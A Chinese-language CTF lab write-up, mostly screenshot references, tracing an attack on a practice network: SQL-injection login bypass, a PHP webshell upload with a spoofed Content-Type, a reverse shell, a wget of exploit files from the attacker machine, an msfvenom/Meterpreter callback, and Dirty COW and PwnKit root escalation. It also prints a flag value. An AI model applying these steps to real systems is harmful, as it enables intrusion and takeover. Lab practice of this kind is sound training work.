环境准备

bf5749ea9af7bf259812bf9ce9872960.jpg
网络拓扑图

导入所有 5 台 OVA 虚拟机

按照如下要求配置网络适配器、Kali 等攻击机使用 NAT 网络

DB

ScreenShot_2026-03-04_205331_686.png

Web

ScreenShot_2026-03-04_205254_414.png

FW

ScreenShot_2026-03-04_205209_984.png

OA

ScreenShot_2026-03-04_205314_337.png

WinServer

ScreenShot_2026-03-04_205346_495.png

虚拟网络编辑按下图设置

ScreenShot_2026-03-04_205441_585.png

获取对外访问 IP

启动导入的5台虚拟机,进入 FW 虚拟机,查看 FW 虚拟机控制台 WAN 口 IP 地址

ScreenShot_2026-03-04_210534_063.png

渗透测试流程

一、获取 Web 系统管理员⽤户名

得到靶机ip后使用nmap工具对靶机进行常见端口及端口服务版本扫描

ScreenShot_2026-03-04_211257_790.png

扫描后发现靶机开放80端口,且所使用的中间件Apache在该版本中无通用漏洞,故使用浏览器访问靶机ip进入公司首页寻找突破点

ScreenShot_2026-03-04_211808_068.png

在探索网站后发现存在后台登录页面

ScreenShot_2026-03-04_211918_101.png

在后台登录页面发现登录框,根据提示及查看源码得知该页面方式为前端**JS判断**是否输入正确邮箱

ScreenShot_2026-03-04_212415_347.png

方法一:通过修改前端验证,将type=“email”替换成type="text",从而绕过前端验证,然后输入sql注入万能密码,成功登入管理后台

ScreenShot_2026-03-04_212627_083.png
ScreenShot_2026-03-04_212945_325.png

方法二:在Burpsuite自带的浏览器中访问靶机IP的web页面,先随便输入一个正确格式的邮箱,任意的密码,然后通过Burpsuite拦截请求数据包,将请求包中的email参数对应的值修改为SQL注入万能密码后放行请求数据包,返回浏览器发现登录成功

ScreenShot_2026-03-04_214732_154.png
ScreenShot_2026-03-04_214911_465.png
ScreenShot_2026-03-04_214945_905.png

二、获取 Web 系统中的 flag

对目标网站进行信息搜集后,发现管理员邮箱地址与用户管理页面存在头像上传点

ScreenShot_2026-03-04_215900_695.png

在攻击机kali上写一个文件名为backdoor.php的一句话木马

ScreenShot_2026-03-04_220039_371.png

然后将制作好的一句话木马文件通过头像上传到靶机服务器上,因为对文件类型做了限制,所以得通过Burpsuite拦截请求包,将Content-Type: application/x-php修改为Content-Type: image/png后放行请求数据包,返回浏览器发现,已经绕过限制,成功上传

ScreenShot_2026-03-04_221038_465.png

将木马上传后,会显示头像上传成功

ScreenShot_2026-03-04_221108_087.png

通过在BurpSuite Proxy模块中的HTTP history中寻找上传成功后是否返回上传到的路径

ScreenShot_2026-03-04_221522_784.png

这里显示是在/avatar路径下,通过访问http://192.168.245.133/avatar/可以看到admin.php存在,那就确认木马是被成功上传了

ScreenShot_2026-03-04_221159_766.png

在攻击机kali中,通过上传的一句话木马就可以执行靶机系统命令,从而知道用户身份是apache

ScreenShot_2026-03-04_223727_387.png

一句一句执行命令不方便进行操作,所以通过反弹shell来连接到webshell便于我们对靶机的控制

ScreenShot_2026-03-04_224109_177.png

新增一个kali窗口进行监听,从而成功拿到webshell

ScreenShot_2026-03-04_224138_224.png

通过find / -type f -name "*flag*" 2>/dev/null找到flag2的路径是/var/www/html/flag.txt

ScreenShot_2026-03-04_225933_249.png
ScreenShot_2026-03-04_225846_922.png

通过cat /var/www/html/flag.txt直接获取到flag值为:w1r91mdxeidy4hh5

ScreenShot_2026-03-04_230342_993.png

三、获取 Web 系统 root 下的 flag

拿到webshell后通过信息收集,发现用户身份是 apache,权限非常低,因此得想办法提权

通过uname -a查看系统内核版本是 2.6.32-431.el6.x86_64 ,由于 linux-exploit-suggester.sh 可以直接根据系统内核版本检测出当前存在的可以利用的漏洞,从而可以利用这些漏洞来提升权限

ScreenShot_2026-03-04_232917_517.png

首先需要将下载至kali上的 linux-exploit-suggester.sh.zip 上传至靶机中解压缩并执行,因为是通过木马反弹shell拿到的webshell,在kali上传文件到服务器时需要将含有 linux-exploit-suggester.sh.zip 文件的目录通过python3 -m http.server 80将web服务开放,webshell通过wget http://192.168.245.128/linux-exploit-suggester.sh.zip方式从而获取到linux-exploit-suggester.sh.zip 文件

ScreenShot_2026-03-04_234347_002.png
ScreenShot_2026-03-04_234455_519.png

然后通过webshell对该文件解压缩后,添加可执行权限,最后执行该脚本

ScreenShot_2026-03-04_235006_158.png

执行完该脚本后,经验证存在以下两个漏洞可以被利用

[CVE-2016-5195] dirtycow 2

ScreenShot_2026-03-04_235046_322.png

[CVE-2021-4034] PwnKit

ScreenShot_2026-03-04_235108_322.png

由于在渗透测试中,Meterpreter 被誉为“后渗透之王”,其核心优势在于它不仅仅是一个 Shell,而是一个运行在内存中的高级交互式平台

ScreenShot_2026-03-05_210025_529.png

又因存在 dirtycow 和 PwnKit 两种漏洞,据此我将用以下两种方法来提升权限

方法一:利用反弹shell连接到webshell后执行dirtycow漏洞脚本来实现提权

在kali上执行searchsploit -m 40839指令就可以将脏牛漏洞脚本 40839.c 下载到当前所在位置

ScreenShot_2026-03-05_212255_881.png

然后在webshell中通过wget方式来获取下载到kali的 40839.c 文件,前提是kali在含有该文件的目录下执行了python3 -m http.server 80

ScreenShot_2026-03-05_214253_641.png
ScreenShot_2026-03-05_214347_390.png

cat 查看一下 40839.c ,看一下使用说明

ScreenShot_2026-03-05_212927_309.png

根据上面的说明,需要将下载的 40839.c 进行编译后在对其加可执行权限后在执行

ScreenShot_2026-03-05_214909_901.png

最后执行成功后,通过cat /etc/passwd来查看新建的用户名称已经是root身份了

ScreenShot_2026-03-05_215317_702.png
ScreenShot_2026-03-05_215510_716.png

最后成功将权限提升至root权限

方法二:通过更加稳定高级的Meterpreter来操控靶机,通过内置的模块直接upload内核PwnKit漏洞文件执行后实现提权

首先使用kali中的msfvenom工具生成一个linux后门

ScreenShot_2026-03-05_221421_271.png

在利用前面连接到的webshell来将后门文件上传至靶机并添加可执行权限

ScreenShot_2026-03-05_222101_215.png

开启msfconsole中的侦听模块,配置参数开始侦听

ScreenShot_2026-03-05_222838_537.png

返回webshell,后台运行后门文件后返回msf,发现成功回连终端

ScreenShot_2026-03-05_223109_698.png
ScreenShot_2026-03-05_223225_843.png

使用 meterpreter 上传PwnKit漏洞文件

ScreenShot_2026-03-05_224217_757.png

进入 shell 并解压上传的文件后执行获取 root 权限

ScreenShot_2026-03-05_224217_757-gaIp.png
ScreenShot_2026-03-05_224646_826.png

进入文件并编译提权程序

ScreenShot_2026-03-05_225142_183.png

查看编译成功的提权程序并运行提权程序成功获取到 root 权限

ScreenShot_2026-03-05_230026_469.png